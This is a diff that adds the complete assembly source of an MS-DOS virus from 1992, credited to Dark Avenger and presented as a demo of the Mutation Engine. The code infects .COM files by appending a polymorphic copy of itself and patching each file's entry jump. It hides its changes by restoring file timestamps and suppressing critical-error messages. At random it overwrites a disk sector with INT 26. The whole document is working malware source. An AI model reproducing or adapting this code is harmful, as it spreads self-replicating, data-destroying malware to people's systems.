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MSDOS/Virus.MSDOS.Unknown.demovir.asm

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+
+; This is a demo virus to demonstrate
+;   the Mutation Engine <tm> usage
+
+; Version 1.01 (1-3-92)
+; (C) 1992 Dark Avenger.
+
+	.model	tiny
+	.radix	16
+	.code
+
+	extrn	mut_engine: near, rnd_get: near, rnd_init: near
+	extrn	rnd_buf: word, data_top: near
+
+	org	100
+
+start:
+	call	locadr
+reladr:
+        db      'Just a simple demo...'
+locadr:
+	pop	dx
+	mov	cl,4
+	shr	dx,cl
+	mov	cx,ds
+	add	cx,dx			;Calculate new CS
+	mov	dx,offset begin
+	push	cx dx
+	retf
+begin:
+	cld
+	mov	di,offset start
+	push	es di
+	push	cs
+	pop	ds
+	mov	si,offset old_cod
+	movsb				;Restore first 3 bytes
+	push	ax
+	mov	dx,offset dta_buf	;Set DTA
+	mov	ah,1a
+	int	21
+	mov	ax,3524 		;Hook INT 24
+	int	21
+	push	es bx
+	mov	dx,offset fail_err
+	mov	ax,2524
+	int	21
+	xor	ax,ax			;Initialize random seed
+	call	rnd_init
+	push	sp
+	pop	cx
+	sub	cx,sp
+	add	cx,4
+	push	cx
+	mov	dx,offset srchnam
+	mov	cl,3
+	mov	ah,4e
+find_lup:
+	int	21			;Find the next COM file
+	jc	infect_done
+	cmp	[dta_buf+1a],ch
+	jnz	infect			;If not infected, infect it now
+find_nxt:
+	push	cx
+	mov	dx,offset dta_buf
+	mov	ah,4f
+	jmp	find_lup
+infect_done:
+	pop	cx
+	loop	find_nxt
+	jnc	damage_done
+	test	al,1
+	jz	damage_done
+	xchg	ax,dx			;Trash a random sector on the default
+        mov     ah,39                   ;  drive
+	int	21
+	mov	cx,1
+	mov	bx,offset start
+	int	26
+	popf
+damage_done:
+	pop	dx ds
+	mov	ax,2524 		;Restore INT 24
+	int	21
+	pop	ds
+	mov	dx,80			;Restore DTA
+	mov	ah,1a
+	int	21
+	push	ds			;Exit to program
+	pop	es
+	pop	ax
+	retf
+infect:
+	xor	cx,cx			;Reset read-only attribute
+	mov	ax,4301
+	int	21
+	jc	infect_done
+	mov	ax,3d02 		;Open the file
+	int	21
+	jc	infect_done
+	xchg	ax,bx
+	mov	dx,offset old_cod	;Read first 3 bytes
+	mov	cx,3
+	mov	ah,3f
+	int	21
+	jc	read_done
+	mov	ax,word ptr [old_cod]	;Make sure it's not an EXE file
+	cmp	ax,'ZM'
+	jz	read_done
+	cmp	ax,'MZ'
+	jz	read_done
+	xor	cx,cx			;Seek at EOF
+	mov	ax,4202
+	int	21
+	test	dx,dx			;Make sure the file is not too big
+	jnz	read_done
+	cmp	ax,-2000
+	jnc	read_done
+	mov	bp,ax
+	sub	ax,3
+	mov	word ptr [new_cod+1],ax
+	mov	ax,5700 		;Save file's date/time
+	int	21
+	push	dx cx
+	mov	ax,offset data_top+0f
+	mov	cl,4			;Now call the Engine
+	shr	ax,cl
+	mov	es,ax
+	mov	dx,offset start
+	mov	cx,offset _DATA
+	push	bp bx
+	add	bp,dx
+	xor	si,si
+	mov	ax,101
+	call	mut_engine
+	pop	bx ax
+	add	ax,cx			;Make sure file length mod 256 = 0
+	neg	ax
+	xor	ah,ah
+	add	cx,ax
+	push	cs
+	pop	ds
+	jc	write_done
+	sub	cx,ax
+	jnz	write_done
+	mov	dx,offset new_cod
+	mov	cx,3
+	mov	ah,40
+	int	21
+write_done:
+	pop	cx dx			;Restore file's date/time
+	mov	ax,5701
+	int	21
+read_done:
+	mov	ah,3e			;Close the file
+	int	21
+	jmp	infect_done
+
+fail_err:				;Critical errors handler
+	mov	al,3
+	iret
+
+srchnam db	'*.COM',0
+
+old_cod:				;Buffer to read first 3 bytes
+	ret
+	dw	?
+
+new_cod:				;Buffer to write first 3 bytes
+	jmp	$+100
+
+	.data
+
+dta_buf db	2bh dup(?)		;Buffer for DTA
+
+	end	start